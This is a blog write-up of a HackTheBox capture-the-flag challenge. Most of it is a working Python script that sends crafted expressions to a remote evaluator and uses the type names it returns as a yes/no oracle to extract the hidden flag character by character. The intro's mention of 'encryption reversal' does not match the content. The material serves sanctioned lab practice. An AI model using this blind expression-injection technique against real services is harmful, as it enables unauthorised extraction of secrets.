Post

HackTheBox Type Exception Challenge

Explore the basics of cybersecurity in the Type Exception Challenge on Hack The Box. This medium-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

https://app.hackthebox.com/challenges/429

Description

Type whatever type you want to type - except you must be careful not to type the type of type that’s not allowed!

Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
from collections import defaultdict
import socket, string, time, sys
from enum import Enum

class Answer(Enum):
    NO = 0
    YES = 1
    ERROR = 2
if_construction = "(1)if({check})else(None)"

def parse_ip_port(arg):
    return arg.split(':')[0], int(arg.split(':')[1])

def netcat(content) -> Answer:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ip, port = parse_ip_port(sys.argv[1])
    s.connect((ip, int(port)))
    s.sendall(content)
    s.shutdown(socket.SHUT_WR)
    answer = None
    while True:
        data = s.recv(1024)
        if len(data) == 0:
            break
        if b"<class 'NoneType'>" in data:
            answer = Answer.NO
        if b"<class 'int'>" in data:
            answer = Answer.YES
        if b"Error" in data:
            answer = Answer.ERROR
    s.close()
    return answer

def find_first_index(character, occupied):
    print("Finding first index: ", end="")
    for index in range(100):
        if index in occupied:
            continue
        print(".", end="")
        first_index_check = if_construction.format(check=f"flag.encode().index({character})is({index})").encode()
        result = netcat(first_index_check)
        if result == Answer.YES:
            print(f" {index}")
            return index
        if result == Answer.ERROR:
            print("Not used")
            return None
    return None

def find_last_index(character, start, occupied):
    print("Finding last index ", end="")
    for index in range(100):
        if index <= start:
            continue
        if index in occupied:
            continue
        print(".", end="")
        last_index_check = if_construction.format(check=f"flag.encode().rindex({character})is({index})").encode()
        result = netcat(last_index_check)
        if result == Answer.YES:
            print(f" {index}")
            return index
    return None

def find_in_between(character: str, first_index: int, last_index: int, count: int, occupied: list[int]) -> list[int]:
    print(f'Searching for {count - 2} indexes between {first_index} and {last_index}: ', end="")
    if (last_index - first_index + 1) == count:
        found_indexes = list(range(first_index + 1, last_index))
        print(", ".join(map(str, found_indexes)))
        return found_indexes
    list_class = "type(flag.split())"
    flag_generator = "((i)for(i)in(flag.encode()))"
    flag_list = f"{list_class}({flag_generator})"
    found_indexes = []
    for char_index in range(first_index + 1, last_index):
        if char_index in occupied:
            continue
        if len(found_indexes) + 2 == count:
            continue
        print(".", end="")
        check_index = if_construction.format(check=f"{flag_list}.pop({char_index})is({character})").encode()
        result = netcat(check_index)
        if result == Answer.YES:
            print(f" {char_index}", end="")
            found_indexes.append(char_index)
    print()
    return found_indexes

def find_count(character):
    print("Finding count ", end="")
    for count in range(1, 20):
        print(".", end="")
        check_count = if_construction.format(check=f"flag.encode().count({character})is({count})").encode()
        result = netcat(check_count)
        if result == Answer.YES:
            print(f" {count}")
            return count
    return None
if __name__ == "__main__":
    if len(sys.argv) != 2: sys.exit(f"Usage: python {sys.argv[0]} <ip:port>")
    start_time = time.time()
    occupied_indexes = []
    found_chars = defaultdict(dict)
    for char_str in string.printable:
        char_hex = hex(ord(char_str))
        print(f"Checking <{char_str} {char_hex}>")
        first_index = find_first_index(char_hex, occupied_indexes)
        if first_index is None:
            continue
        found_chars[char_str]["indexes"] = [first_index]
        occupied_indexes.append(first_index)
        count = find_count(char_hex)
        found_chars[char_str]["count"] = count
        if count > 1:
            last_index = find_last_index(char_hex, first_index, occupied_indexes)
            found_chars[char_str]["indexes"].append(last_index)
            occupied_indexes.append(last_index)
            if count > 2:
                indexes = find_in_between(char_hex, first_index, last_index, count, occupied_indexes)
                found_chars[char_str]["indexes"] += indexes
                found_chars[char_str]["indexes"].sort()
                occupied_indexes += indexes
    indexes = []
    for char_str, char_data in found_chars.items():
        for index in char_data["indexes"]:
            indexes.append((index, char_str))
    indexes.sort(key=lambda data: data[0])
    flag = "".join(char_str for _, char_str in indexes)
    print(flag)
    print(f"Finished in {round(time.time() - start_time)} sec.")

Summary

The Type Exception Challenge on Hack The Box is a medium-level challenge focused on bypassing type restrictions and extracting hidden data by manipulating Python expressions. Participants interact with a remote service that evaluates specific conditions based on data types and must carefully craft input to reveal the flag. The exploitation process involves checking character occurrences, determining their positions, and reconstructing the flag through a systematic approach using type-based evaluations. This challenge tests knowledge of Python internals, enumeration techniques, and logical deduction to retrieve the hidden flag efficiently.

This post is licensed under CC BY 4.0 by the author.